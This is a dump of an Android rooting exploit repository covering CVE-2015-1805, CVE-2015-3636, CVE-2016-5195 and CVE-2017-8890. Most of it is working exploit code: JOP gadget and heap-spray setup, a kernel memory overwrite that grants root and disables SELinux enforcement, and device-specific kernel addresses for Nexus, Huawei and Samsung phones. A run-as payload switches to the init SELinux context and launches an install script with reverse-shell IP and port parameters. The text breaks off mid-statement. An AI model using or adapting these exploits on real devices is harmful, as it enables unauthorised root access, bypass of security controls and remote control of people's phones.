426 | unsigned long ret; 427 | 428 | errno = 0; 429 | ret = (unsigned long)mmap((void *)g_jop_buf, g_mmap_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0); 430 | if (ret != g_jop_buf) { 431 | log_dump(LOG_ERR, "[-] mmap 0x%lx false, ret = 0x%lx, errno = %d, msg = %s\n", g_jop_buf, ret, errno, strerror(errno)); 432 | return FAILED; 433 | } 434 | 435 | memset((void *)g_jop_buf, 0, g_mmap_size); 436 | 437 | for (i = 0; i < 0x10; ++i) { 438 | if (j_jop1[i].index == 0 && j_jop1[i].addr == 0) 439 | break; 440 | if (j_jop1[i].addr == 0xaaaaaaaa) 441 | *((unsigned long *)(g_jop_buf + j_jop1[i].index)) = (unsigned long )g_jop_buf; 442 | else 443 | *((unsigned long *)(g_jop_buf + j_jop1[i].index)) = j_jop1[i].addr; 444 | } 445 | 446 | #if 0 447 | unsigned long value; 448 | log_dump(LOG_DEBUG, "g_jop_buf = %p\n", g_jop_buf); 449 | for (i = 0; i < sizeof(g_jop_buf)/sizeof(long); i++) { 450 | value = *((unsigned long *)&g_jop_buf + i); 451 | if(value) { 452 | log_dump(LOG_DEBUG, "g_jop_buf[0x%x] = 0x%lx\n", i * sizeof(long), value); 453 | } 454 | } 455 | #endif 456 | 457 | return SUCCESSED; 458 | } 459 | 460 | 461 | int setup_data(void* patch_address, long patch_value) { 462 | log_dump(LOG_DEBUG, "begin to setup EXP data.\n"); 463 | 464 | // initialize all global value 465 | if (init_global_data() == FAILED) { 466 | return FAILED; 467 | } 468 | 469 | // init jop buf 470 | if (init_jop_data() == FAILED) { 471 | return FAILED; 472 | } 473 | 474 | // setup pipe 475 | if (setup_pipe() == FAILED) { 476 | return FAILED; 477 | } 478 | // setup mapping address use to force pipe_read redo copy 479 | if (setup_mapping() == FAILED) { 480 | return FAILED; 481 | } 482 | // setup heap spray part of iovec array data 483 | if (setup_heap_spray(patch_address) == FAILED) { 484 | return FAILED; 485 | } 486 | // setup readv part of iovec array data 487 | if (setup_readv_iovs() == FAILED) { 488 | return FAILED; 489 | } 490 | // setup write buf for write to pipe 491 | if (setup_write_buffer(patch_value) == FAILED) { 492 | return FAILED; 493 | } 494 | return SUCCESSED; 495 | } 496 | 497 | static int fake_kfunc_call(char *arg) { 498 | int fd, ret; 499 | 500 | errno = 0; 501 | fd = open("/dev/ptmx", O_RDWR, 0); 502 | if (fd < 0) { 503 | log_dump(LOG_ERR, "[-] open false, errno = %d, msg = %s\n", errno, strerror(errno)); 504 | return -1; 505 | } 506 | 507 | errno = 0; 508 | ret = fcntl(fd, F_SETFL, arg); 509 | if (ret < 0) { 510 | log_dump(LOG_ERR, "[-] fcntl false, ret = 0x%x, errno = %d, msg = %s\n", ret, errno, strerror(errno)); 511 | return -1; 512 | } else { 513 | log_dump(LOG_DEBUG, "[+] fcntl succeed, ret = 0x%x, errno = %d, msg = %s\n", ret, errno, strerror(errno)); 514 | } 515 | 516 | return 0; 517 | 518 | } 519 | 520 | static int obtain_root() { 521 | log_dump(LOG_DEBUG, "begin to obtain root, dangerous.\n"); 522 | 523 | int ret; 524 | 525 | ret = fake_kfunc_call((char *)g_jop_buf); 526 | if(ret < 0) { 527 | log_dump(LOG_ERR, "fake_kfunc_call FAILED!\n"); 528 | } 529 | 530 | unsigned long addr, value = 0; 531 | 532 | addr = adp_ptmx_fops + adp_ptmx_kfunc_offset; 533 | ret = pipe_read_memory((void*)addr, (void*)&value, sizeof(value)); 534 | if (ret != sizeof(value)) { 535 | log_dump(LOG_ERR, "[-] patch thread_info->addr_limit false!\n"); 536 | return FAILED; 537 | } else { 538 | log_dump(LOG_DEBUG, "[+] patch thread_info->addr_limit success! 0x%lx = 0x%lx\n", addr, value); 539 | } 540 | 541 | log_dump(LOG_DEBUG, "[?] root run here!\n"); 542 | 543 | char random_name[0x10] = { 0 }; 544 | set_random_task_name(4, random_name); 545 | 546 | obtain_root_by_task_name(adp_init_task, random_name, adp_task_security_offset, adp_task_cred_uid_offset); 547 | 548 | patch_memory(1, p_patch); 549 | 550 | return SUCCESSED; 551 | } 552 | 553 | 554 | int trigger() { 555 | log_dump(LOG_DEBUG, "begin to trigger EXP.\n"); 556 | 557 | unsigned long patch_address, patch_value; 558 | 559 | patch_address = adp_ptmx_fops + adp_ptmx_kfunc_offset; 560 | patch_value = adp_kernel_sock_ioctl; 561 | 562 | if (setup_data((void*)patch_address, patch_value) == FAILED) { 563 | return FAILED; 564 | } 565 | 566 | // start map/unmap 567 | if (start_map_unmap() == FAILED) { 568 | return FAILED; 569 | } 570 | // start write pipe 571 | if (start_write_pipe() == FAILED) { 572 | return FAILED; 573 | } 574 | // start heap spray 575 | if (start_heap_spray() == FAILED) { 576 | return FAILED; 577 | } 578 | if (start_read_pipe() == FAILED) { 579 | return FAILED; 580 | } 581 | while (1) { 582 | if (g_overflow_flag != (unsigned long)OVERFLOW_MAGIC) { 583 | g_is_stop = 1; 584 | log_dump(LOG_DEBUG, "overflow success! overflow value is 0x%08lx\n", 585 | g_overflow_flag); 586 | break; 587 | } 588 | } 589 | return SUCCESSED; 590 | } 591 | 592 | int main(int argc, char * argv[], char* envp[]) { 593 | 594 | if(rootz_before(argc, argv)) { 595 | log_dump(LOG_ERR, "[-] rootz_before failed!\n"); 596 | return -1; 597 | } 598 | 599 | if(adp_sn != 122) { 600 | log_dump(LOG_ERR, "[-] adp sn error!\n"); 601 | return -1; 602 | } 603 | 604 | if (trigger() == FAILED) { 605 | return FAILED; 606 | } 607 | 608 | log_dump(LOG_NORMAL, "\t[*] start, pid: %d, tid: %d, uid: %d, gid: %d\n", getpid(), gettid(), getuid(), getgid()); 609 | 610 | if (obtain_root() == FAILED) { 611 | return FAILED; 612 | } 613 | 614 | log_dump(LOG_NORMAL, "\t[*] end, pid: %d, tid: %d, uid: %d, gid: %d\n", getpid(), gettid(), getuid(), getgid()); 615 | 616 | close(g_pipe_fd[0]); 617 | close(g_pipe_fd[1]); 618 | 619 | if(rootz_after()) { 620 | log_dump(LOG_ERR, "[-] rootz_after failed!\n"); 621 | } 622 | 623 | system("USER=ROOT /system/bin/sh"); 624 | 625 | fprintf(stderr, "end...\n"); 626 | 627 | while(1); 628 | 629 | return 0; 630 | } 631 | -------------------------------------------------------------------------------- /exploit/CVE-2015-1805/1022/rootz.h: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2015-1805 exploit adp args 3 | * 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * 6 | */ 7 | 8 | #include "param.h" 9 | 10 | /* 11 | 12 | 通用内核函数地址定义在 param.h 头文件中 13 | 14 | 针对不同手机适配需要特殊定义的,在该头文件中定义 15 | 16 | */ 17 | 18 | // #define TEST_FOR_TEST 19 | 20 | #ifdef TEST_FOR_TEST 21 | 22 | #if 0 23 | 24 | 适配信息 25 | 26 | /* nexus 5 */ 27 | Linux version 3.4.0-gbebb36b (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Tue Mar 10 18:17:45 UTC 2015 28 | 29 | ./data/local/tmp/rootz "n=1022&k=[101=0xc1237658;103=0x50;104=0xc1042f38;105=0x58;107=0xc085ed40;109=0x4;]&j=[0x18=0xaaaaaaaa;0x24=0xc0279bd0;0x0=0x0;]&p=[0xc122dae4=0x0=0x4;0xc12376a8=0x0=0x4;]" 30 | 31 | 101 ptmx_fops = 0xc1237658 32 | 103 ptmx_kfunc_offset = 0x50 check_flags 33 | 104 init_task = 0xc1042f38 34 | 105 task_security_offset = 0x58 35 | 107 kernel_sock_ioctl = 0xC085ED40 36 | 109 task_cred_uid_offset = 0x4 37 | 38 | jop 39 | 40 | 0x24=0xc0279bd0 check_flags back 41 | 42 | path 43 | selinux_enforcing = 0xc122dae4 44 | ptmx_fops + ptmx_kfunc_offset = 0xc12376a8 45 | 46 | 47 | Linux version 3.4.0-g2aa165e (android-build@wped19.hot.corp.google.com) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Thu Aug 20 06:07:34 UTC 2015 48 | n=1022&k=[101=0xc1338250;103=0x50;104=0xc1142f80;105=0x58;107=0xc088b1c4;109=0x4;]&j=[0x18=0xaaaaaaaa;0x24=0xc0281d04;0x0=0x0;]&p=[0xc132e6a8=0x0=0x4;0xc13382a0=0x0=0x4;] 49 | 50 | 51 | /* MT7-TL10 */ 52 | 53 | [+] kernel version: Linux version 3.10.86-g76ac748 (android@localhost) (gcc version 4.7.3 20121205 (prerelease) (crosstool-NG linaro-1.13.1-4.7-2012.12-20121214 - Linaro GCC 2012.12) ) #2 SMP PREEMPT Mon Apr 4 05:03:33 CST 2016 54 | 55 | ./data/local/tmp/rootz "n=1022&k=[101=0xc15b0454;103=0x50;104=0xc139aae0;105=0x68;107=0xc0ddb6b0;109=0x10;801=0xc13b554c;802=0xc15a955c;]&j=[0x18=0xaaaaaaaa;0x24=0xc0701c78;0x0=0x0;]&p=[0xc15a7990=0x0=0x4;0xc15b04a4=0x0=0x4;]" 56 | 57 | 101 ptmx_fops = 0xc15b0454 58 | 103 ptmx_kfunc_offset = 0x50 check_flags 59 | 104 init_task = 0xc139aae0 60 | 105 task_security_offset = 0x68 61 | 107 kernel_sock_ioctl = 0xc0ddb6b0 62 | 109 task_cred_uid_offset = 0x10 63 | 64 | jop 65 | 0x24=0xc0701c78 check_flags back 66 | 67 | path 68 | selinux_enforcing = 0xc15a7990 69 | ptmx_fops + ptmx_kfunc_offset = 0xc15b04a4 70 | 71 | mount bypass 72 | 801 adp_ro_secure_debuggable = 0xc13b554c; 73 | 802 adp_ro_secure_debuggable_static = 0xc15a955c; 74 | 75 | SM-G900L 76 | Linux version 3.4.0-6309255 (dpi@SWDD6912) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Fri Dec 4 15:28:30 KST 2015 77 | n=1022&k=[101=0xc14444b8;103=0x50;104=0xc1120f20;105=0x58;107=0xc085167c;109=0x4;811=0x1;]&j=[0x18=0xaaaaaaaa;0x24=0xc02697c0;0x0=0x0;]&p=[0xc142da78=0x0=0x4;0xc1444508=0x0=0x4;] 78 | 79 | #endif 80 | 81 | #endif 82 | 83 | 84 | -------------------------------------------------------------------------------- /exploit/CVE-2015-3636/1041/rootz.h: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2015-3636 exploit adp args 3 | * 4 | * Copyright (C) 2018 by idhyt3r@gmail.com 5 | * 6 | */ 7 | 8 | #include "param.h" 9 | 10 | /* 11 | 12 | 通用内核函数地址定义在 param.h 头文件中 13 | 14 | 针对不同手机适配需要特殊定义的,在该头文件中定义 15 | 16 | */ 17 | 18 | // #define TEST_FOR_TEST 19 | 20 | #ifdef TEST_FOR_TEST 21 | 22 | unsigned long adp_ptmx_fops = 0xc1237658; 23 | 24 | unsigned long adp_ptmx_fops_ioctl_offset = 0x20; 25 | 26 | unsigned long adp_ptmx_fops_ioctl = adp_ptmx_fops + adp_ptmx_fops_ioctl_offset; 27 | 28 | unsigned long adp_before_kernel_sock_ioctl = 0xc05cfc70; 29 | 30 | unsigned long adp_kernel_sock_ioctl = 0xC085ED40; 31 | 32 | unsigned long adp_ptmx_fops_ioctl_back_addr = 0xc027ac48; 33 | 34 | unsigned long adp_task_security_offset = 0x58; 35 | 36 | unsigned long adp_init_task = 0xc1042f38; 37 | 38 | // set_fs to patch thread_info->addr_limit 39 | struct jop_gadget j_jop1[0x10] = { 40 | {0xf8, 0xaaaaaaaa,}, // jop_buf 41 | {0xc, 0xC085ED40,}, // kernel_sock_ioctl 42 | {0x18, 0xaaaaaaaa,}, // jop_buf 43 | {0x24, 0xc027ac48,}, // ptmx_fops_ioctl_back_addr 44 | {0, 0,}, 45 | }; 46 | 47 | unsigned long adp_selinux_enforcing = 0xc122dae4; 48 | 49 | unsigned long adp_tty_ioctl = 0xC047247C; 50 | 51 | struct patch_gadget p_patch[0x10] = { 52 | {0xc122dae4, 0x00, sizeof(int)}, // selinux_enforcing 53 | {0xc1237658 + 0x20, 0xC047247C, sizeof(long)}, // restore ioctl 54 | {0, 0,}, 55 | }; 56 | 57 | #endif 58 | #if 0 59 | 60 | 适配信息 61 | 62 | /* nexus 4 */ 63 | Linux version 3.4.0-perf-gf43c3d9 (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Jun 17 16:55:05 PDT 2013 64 | 65 | /data/local/tmp/rootz "n=1041&k=[101=0xc0fffaa0;102=0x20;104=0xc0e3fb18;105=0x48;106=0xc03b42d4;109=0x4;&j=[0x0c1000f8=0x0c100000;0x0c10000c=0xc06958b0;0x0c100018=0x0c100000;0x0c100024=0xc06958dc;0x0=0x0;]&p=[0xc12c38e0=0x0=0x4;0xc1378330=0xc04338f0=0x4;]" 66 | 67 | #endif -------------------------------------------------------------------------------- /exploit/CVE-2016-5195/1051/rootz.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idhyt/androotzf/50bc448190455d324bc56ab02f40c6e024cf4ad2/exploit/CVE-2016-5195/1051/rootz.h -------------------------------------------------------------------------------- /exploit/CVE-2016-5195/ext/jni/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | ## run-as for first patch /system/bin/run-as 4 | include $(CLEAR_VARS) 5 | 6 | LOCAL_SRC_FILES := ../run-as.c 7 | 8 | LOCAL_MODULE := run-as 9 | 10 | LOCAL_CFLAGS += -fPIE -pie 11 | LOCAL_LDFLAGS += -fPIE -pie 12 | 13 | # LOCAL_LDFLAGS += -static 14 | 15 | LOCAL_CFLAGS += -DDEBUG 16 | LOCAL_LDFLAGS += -llog 17 | 18 | include $(BUILD_EXECUTABLE) -------------------------------------------------------------------------------- /exploit/CVE-2016-5195/ext/jni/Application.mk: -------------------------------------------------------------------------------- 1 | APP_PLATFORM := android-21 2 | APP_ABI := armeabi 3 | APP_STL := gnustl_static #stlport_static -------------------------------------------------------------------------------- /exploit/CVE-2016-5195/ext/run-as.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | #include 9 | 10 | static char *guid = "0A5AAF9EA22EDD8A65269121FE257AF1"; 11 | 12 | // #define DEBUG 13 | 14 | #ifdef DEBUG 15 | #include 16 | #define LOGV(...) \ 17 | { \ 18 | __android_log_print(ANDROID_LOG_INFO, "run-as", __VA_ARGS__); \ 19 | printf(__VA_ARGS__); \ 20 | printf("\n"); \ 21 | fflush(stdout); \ 22 | } 23 | #else 24 | #define LOGV(...) 25 | #endif 26 | 27 | // reduce binary size 28 | char __aeabi_unwind_cpp_pr0[0]; 29 | 30 | typedef int getcon_t(char **con); 31 | typedef int setcon_t(const char *con); 32 | 33 | 34 | static void check_flags(char **envp) { 35 | LOGV("[!] %s\n", guid); 36 | return; 37 | } 38 | 39 | #if 0 40 | int main(int argc, char **argv, char **envp) { 41 | 42 | check_flags(envp); 43 | 44 | LOGV("[*] uid %s %d", argv[0], getuid()); 45 | 46 | if (setresgid(0, 0, 0) || setresuid(0, 0, 0)) { 47 | LOGV("[-] setresgid/setresuid failed"); 48 | } 49 | 50 | LOGV("[*] uid %d\n", getuid()); 51 | 52 | dlerror(); 53 | #ifdef __aarch64__ 54 | void *selinux = dlopen("/system/lib64/libselinux.so", RTLD_LAZY); 55 | #else 56 | void *selinux = dlopen("/system/lib/libselinux.so", RTLD_LAZY); 57 | #endif 58 | if (selinux) { 59 | void *getcon = dlsym(selinux, "getcon"); 60 | const char *error = dlerror(); 61 | if (error) { 62 | LOGV("[-] dlsym error %s\n", error); 63 | } else { 64 | getcon_t *getcon_p = (getcon_t *)getcon; 65 | char *secontext; 66 | int ret = (*getcon_p)(&secontext); 67 | LOGV("[+] getcon = %s, ret = %d ", secontext, ret); 68 | void *setcon = dlsym(selinux, "setcon"); 69 | const char *error = dlerror(); 70 | if (error) { 71 | LOGV("[-] dlsym setcon error %s\n", error); 72 | } else { 73 | setcon_t *setcon_p = (setcon_t *)setcon; 74 | // ret = (*setcon_p)("u:r:shell:s0"); 75 | ret = (*setcon_p)("u:r:init:s0"); 76 | // ret = (*setcon_p)("u:r:debuggerd:s0"); 77 | ret = (*getcon_p)(&secontext); 78 | LOGV("[+] setcon = %s, ret = %d\n", secontext, ret); 79 | } 80 | } 81 | dlclose(selinux); 82 | } else { 83 | LOGV("[-] no selinux?\n"); 84 | } 85 | 86 | if (argc == 1) { 87 | char *argvs[] = {"/system/bin/sh", "/data/local/tmp/install.sh", NULL}; 88 | execve("/system/bin/sh", argvs, envp); 89 | } else { 90 | char *argvs[] = {"/system/bin/sh", "-c", argv[1], NULL}; 91 | LOGV("[+] run cmd = [/system/bin/sh -c %s]\n", argv[1]); 92 | execve("/system/bin/sh", argvs, envp); 93 | } 94 | } 95 | #else 96 | static char *install_script_path = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 97 | static char *work_dir = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; 98 | static char *rshell_ip = "255.255.255.255"; 99 | // static char *install_script_path = "/data/local/tmp/install.sh"; 100 | // static char *work_dir = "/data/local/tmp"; 101 | // static char *rshell_ip = "192.168.111.91"; 102 | static char *rshell_port = "22222"; 103 | 104 | 105 | int main(int argc, char **argv, char **envp) { 106 | 107 | check_flags(envp); 108 | 109 | LOGV("[*] uid %s %d", argv[0], getuid()); 110 | 111 | if (setresgid(0, 0, 0) || setresuid(0, 0, 0)) { 112 | LOGV("[-] setresgid/setresuid failed"); 113 | } 114 | 115 | LOGV("[*] uid %d\n", getuid()); 116 | 117 | dlerror(); 118 | #ifdef __aarch64__ 119 | void *selinux = dlopen("/system/lib64/libselinux.so", RTLD_LAZY); 120 | #else 121 | void *selinux = dlopen("/system/lib/libselinux.so", RTLD_LAZY); 122 | #endif 123 | if (selinux) { 124 | void *getcon = dlsym(selinux, "getcon"); 125 | const char *error = dlerror(); 126 | if (error) { 127 | LOGV("[-] dlsym error %s\n", error); 128 | } else { 129 | getcon_t *getcon_p = (getcon_t *)getcon; 130 | char *secontext; 131 | int ret = (*getcon_p)(&secontext); 132 | LOGV("[+] getcon = %s, ret = %d ", secontext, ret); 133 | void *setcon = dlsym(selinux, "setcon"); 134 | const char *error = dlerror(); 135 | if (error) { 136 | LOGV("[-] dlsym setcon error %s\n", error); 137 | } else { 138 | setcon_t *setcon_p = (setcon_t *)setcon; 139 | // ret = (*setcon_p)("u:r:shell:s0"); 140 | ret = (*setcon_p)("u:r:init:s0"); 141 | // ret = (*setcon_p)("u:r:debuggerd:s0"); 142 | ret = (*getcon_p)(&secontext); 143 | LOGV("[+] setcon = %s, ret = %d\n", secontext, ret); 144 | } 145 | } 146 | dlclose(selinux); 147 | } else { 148 | LOGV("[-] no selinux?\n"); 149 | } 150 | 151 | if (argc == 1) { 152 | LOGV("[+] run cmd = [%s install.sh %s %s %s]\n", install_script_path, work_dir, rshell_ip, rshell_port); 153 | char *argvs[] = {"install.sh", work_dir, rshell_ip, rshell_port, NULL}; 154 | execve(install_script_path, argvs, envp); 155 | } else { 156 | if(strstr(argv[1], "kill")) { 157 | char *argvs[] = {"/system/bin/sh", "-c", argv[1], NULL}; 158 | LOGV("[+] run cmd = [/system/bin/sh -c %s]\n", argv[1]); 159 | execve("/system/bin/sh", argvs, envp); 160 | } 161 | } 162 | 163 | LOGV("[+] run cmd = [%s install.sh %s %s %s]\n", install_script_path, work_dir, rshell_ip, rshell_port); 164 | char *argvs[] = {"install.sh", work_dir, rshell_ip, rshell_port, NULL}; 165 | execve(install_script_path, argvs, envp); 166 | 167 | } 168 | #endif 169 | -------------------------------------------------------------------------------- /exploit/CVE-2017-8890/1001/rootz.c: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2017-8890 https://source.android.com/security/bulletin/2017-09-01 3 | * 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * 6 | */ 7 | #define _GNU_SOURCE 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | /* ------------------ root define begin ------------------- */ 24 | #include "param.h" 25 | #include "rootz.h" 26 | #include "log.h" 27 | #include "silly.h" 28 | #include "fn.h" 29 | #include "shell.h" 30 | #include "roothelper.h" 31 | #include "dict.h" 32 | 33 | /* adp args */ 34 | static int adp_sn; 35 | static unsigned long adp_init_task; 36 | static unsigned long adp_task_security_offset; 37 | static unsigned long adp_task_cred_uid_offset = 0x4; 38 | 39 | static unsigned long adp_ptmx_fops; 40 | static unsigned long adp_ptmx_ioctl_offset; 41 | static unsigned long adp_patch_ptmx_ioctl_jop; 42 | 43 | /* 44 | 初始化适配参数 45 | */ 46 | 47 | extern dict_t *transl_param_dict; 48 | 49 | static int get_adp_ulval(char *name, unsigned long *value) { 50 | 51 | return dict_get_ulval(transl_param_dict, name, value); 52 | 53 | } 54 | 55 | static int get_adp_str(char *name, char *value, int len) { 56 | 57 | return dict_get_str(transl_param_dict, name, value, len); 58 | } 59 | 60 | static int rootz_before(int argc, char *argv[]) { 61 | // 设置日志路径, 不设置打印到控制台 62 | // set_logfile_path("/data/local/tmp/8890.log"); 63 | // 适配参数初始化 64 | if (parse_args(argc, argv) < 0) { 65 | log_dump(LOG_ERR, "[-] parse_args failed\n"); 66 | return -1; 67 | } 68 | 69 | if(!transl_param_dict) return -1; 70 | 71 | char *var; 72 | 73 | /* root before */ 74 | if (!dict_get(transl_param_dict, n_sn, (void **)&var)) { 75 | log_dump(LOG_ERR, "[-] get n_sn failed\n"); 76 | return -1; 77 | } 78 | adp_sn = atoi(var); 79 | log_dump(LOG_DEBUG, "adp_sn = %d\n", adp_sn); 80 | 81 | if(!get_adp_ulval(k_init_task, &adp_init_task)) return -1; 82 | if(!get_adp_ulval(k_task_security_offset, &adp_task_security_offset)) return -1; 83 | if(!get_adp_ulval(k_ptmx_fops, &adp_ptmx_fops)) return -1; 84 | if(!get_adp_ulval(k_ptmx_ioctl_offset, &adp_ptmx_ioctl_offset)) return -1; 85 | if(!get_adp_ulval(j_patch_ptmx_ioctl_jop, &adp_patch_ptmx_ioctl_jop)) return -1; 86 | 87 | #if 1 88 | printf(" adp_init_task = 0x%lx\n", adp_init_task); 89 | printf(" adp_task_security_offset = 0x%lx\n", adp_task_security_offset); 90 | printf(" adp_ptmx_fops = 0x%lx\n", adp_ptmx_fops); 91 | printf(" adp_ptmx_ioctl_offset = 0x%lx\n", adp_ptmx_ioctl_offset); 92 | printf(" adp_patch_ptmx_ioctl_jop = 0x%lx\n", adp_patch_ptmx_ioctl_jop); 93 | 94 | #endif 95 | 96 | 97 | return 0; 98 | } 99 | 100 | /* 101 | 提权过后的操作 102 | */ 103 | 104 | static int rootz_after() { 105 | 106 | if(transl_param_dict) { 107 | vendor_protect_bypass(transl_param_dict); 108 | silly_everything_after_root(transl_param_dict); 109 | } 110 | 111 | if(transl_param_dict) { 112 | dict_destory(transl_param_dict); 113 | free(transl_param_dict); 114 | } 115 | 116 | return 0; 117 | } 118 | 119 | 120 | /* ------------------ root define end ------------------- */ 121 | 122 | #ifndef ONE_IGMP_H 123 | #define ONE_IGMP_H 124 | 125 | #define __rcu 126 | 127 | struct callback_head { 128 | struct callback_head *next; 129 | void (*func)(struct callback_head *head); 130 | }; 131 | #define rcu_head callback_head 132 | 133 | struct ip_sf_socklist { 134 | unsigned int sl_max; 135 | unsigned int sl_count; 136 | struct rcu_head rcu; 137 | __be32 sl_addr[0]; 138 | }; 139 | 140 | struct ip_mc_socklist { 141 | struct ip_mc_socklist __rcu *next_rcu; 142 | struct ip_mreqn multi; 143 | unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */ 144 | struct ip_sf_socklist __rcu *sflist; 145 | struct rcu_head rcu; 146 | }; 147 | #endif // ONE_IGMP_H 148 | 149 | #define fake_iml_next_rcu (0x0c000000) //struct ip_mc_socklist __rcu *next_rcu; 150 | 151 | 152 | #define fake_iml_offset 0xff // for bypass ipv6_addr_is_multicast(addr) 153 | #define rcu_head_offset sizeof(struct ip_mc_socklist) - sizeof(struct rcu_head) 154 | 155 | // #define adp_fake_iml_func adp_patch_ptmx_ioctl_jop 156 | 157 | // #define FIX_MMAP_BUGS 1 158 | 159 | // heap spray socket type 160 | // #define IPV4 161 | #ifdef IPV4 162 | #define SOCK_AF AF_INET 163 | #else 164 | #define SOCK_AF AF_INET6 165 | #endif 166 | 167 | 168 | int PORT = 10086; 169 | 170 | struct group_req gr_spray = { 0 }; 171 | struct sockaddr_in6 in6_spray = { 0 }; 172 | int pad_times = 60; 173 | int ipv6_fd_pad[60] = { 0 }; 174 | int spray_times = 500; 175 | int ipv6_fd_spray[500] = { 0 }; 176 | 177 | // #define FORKCHILD 1 178 | int children_num = 7; 179 | int child_pids[8] = { 0 }; 180 | 181 | /* cpu imformation */ 182 | 183 | extern volatile int bind_cpu_id; 184 | 185 | static void init_fake_iml_obj(void) { 186 | unsigned long fake_kernel_func = adp_ptmx_fops + adp_ptmx_ioctl_offset; 187 | 188 | if (mmap((void*)fake_iml_next_rcu, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) < 0 ) 189 | log_dump(LOG_ERR, "[-] mmap at %p failed.\n", (void*) fake_iml_next_rcu); 190 | 191 | struct ip_mc_socklist *iml = (void*)(fake_iml_next_rcu + fake_iml_offset); 192 | 193 | #if 0 194 | 195 | char *jop_buf = (void*)&iml->rcu.next; 196 | *((unsigned long *)(jop_buf + 0x180)) = (unsigned long )jop_buf; 197 | *((unsigned long *)(jop_buf + 0x158)) = (unsigned long )(fake_kernel_func - 0xf8); 198 | *((unsigned long *)(jop_buf + 0x2d0)) = adp_patch_th_rwcap_jop; 199 | 200 | #else 201 | char *jop_buf = (void*)&iml->rcu.next; 202 | int i; 203 | 204 | for (i = 0; i < 0x10; ++i) { 205 | if (j_jop1[i].index == 0 && j_jop1[i].addr == 0) 206 | break; 207 | if (j_jop1[i].addr == 0xaaaaaaaa) 208 | *((unsigned long *)(jop_buf + j_jop1[i].index)) = (unsigned long )jop_buf; 209 | else if (j_jop1[i].addr == 0xbbbbbbbb) 210 | *((unsigned long *)(jop_buf + j_jop1[i].index)) = (unsigned long )(fake_kernel_func - 0xf8); 211 | else 212 | *((unsigned long *)(jop_buf + j_jop1[i].index)) = j_jop1[i].addr; 213 | } 214 | 215 | #endif 216 | 217 | iml->next_rcu = (void*) NULL; 218 | iml->rcu.next = (void*) NULL; 219 | iml->rcu.func = (void*) NULL; 220 | 221 | log_dump(LOG_DEBUG, "[*] iml : %p, &(iml->rcu.next) : %p\n", (void*)iml, &(iml->rcu.next)); 222 | 223 | } 224 | 225 | static void *th_placeholder(void * arg) { 226 | bind_thread_on_cpu(bind_cpu_id); 227 | struct rcu_head* head = (void*)(fake_iml_next_rcu + fake_iml_offset + rcu_head_offset); 228 | log_dump(LOG_DEBUG, "[!] original value head: %p, head->next : %p, head->func : %p\n", head, head->next, head->func); 229 | 230 | while (1) { 231 | if ( head->next ) { 232 | head->func = (void*) adp_patch_ptmx_ioctl_jop; 233 | break; 234 | } 235 | } 236 | 237 | log_dump(LOG_DEBUG, "[!] fake_iml_next_rcu was modified to : head->next : %p, head->func : %p\n", head->next, head->func); 238 | while(1){} 239 | return NULL; 240 | } 241 | 242 | #ifdef IPV4 243 | 244 | static int prepare_spray_obj(int fd, void * gr, void * pr, unsigned c) { 245 | 246 | struct sockaddr_in gr_si = { 0 }; 247 | memset((void *) &gr_si, 0x40, sizeof(gr_si)); 248 | 249 | gr_si.sin_family = AF_INET; 250 | gr_si.sin_port = htons(PORT); 251 | gr_si.sin_addr.s_addr = inet_addr("224.0.0.0"); // multicast address 252 | 253 | struct group_req group = { 0 }; 254 | memset((void *)&group, 0x42, sizeof(group)); 255 | group.gr_interface = 1; 256 | memcpy(&group.gr_group, &gr_si, sizeof(gr_si)); 257 | 258 | return setsockopt(fd, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof(group)); 259 | } 260 | 261 | #else 262 | 263 | static int prepare_spray_obj(int fd, 264 | struct group_req* gr_spray_ptr, 265 | struct sockaddr_in6* in6_spray_ptr, unsigned c) { 266 | 267 | gr_spray_ptr->gr_interface = 1; 268 | in6_spray_ptr->sin6_family = AF_INET6; 269 | // int8_t addr[16] = "\xff\x00\x00\x0c\x00\x00\x00\x00\x00\x00"; 270 | int8_t addr[16] = { 0 }; 271 | *((int*) &addr) = fake_iml_next_rcu + fake_iml_offset; 272 | *(unsigned*)&addr[8] = c; 273 | memcpy(&in6_spray_ptr->sin6_addr, addr, sizeof addr); 274 | memcpy(&gr_spray_ptr->gr_group, in6_spray_ptr, sizeof(*in6_spray_ptr)); 275 | return setsockopt(fd, SOL_IPV6, MCAST_JOIN_GROUP, gr_spray_ptr, sizeof(*gr_spray_ptr)); 276 | } 277 | 278 | #endif 279 | 280 | static int prepare() { 281 | int i, ret; 282 | 283 | int times = pad_times / 2; 284 | 285 | log_dump(LOG_DEBUG, "[*] Create spray socket fd spray %d times.\n", spray_times); 286 | int c; 287 | for ( i = 0 ; i < spray_times ; i++ ) { 288 | if ((ipv6_fd_spray[i] = socket(SOCK_AF, 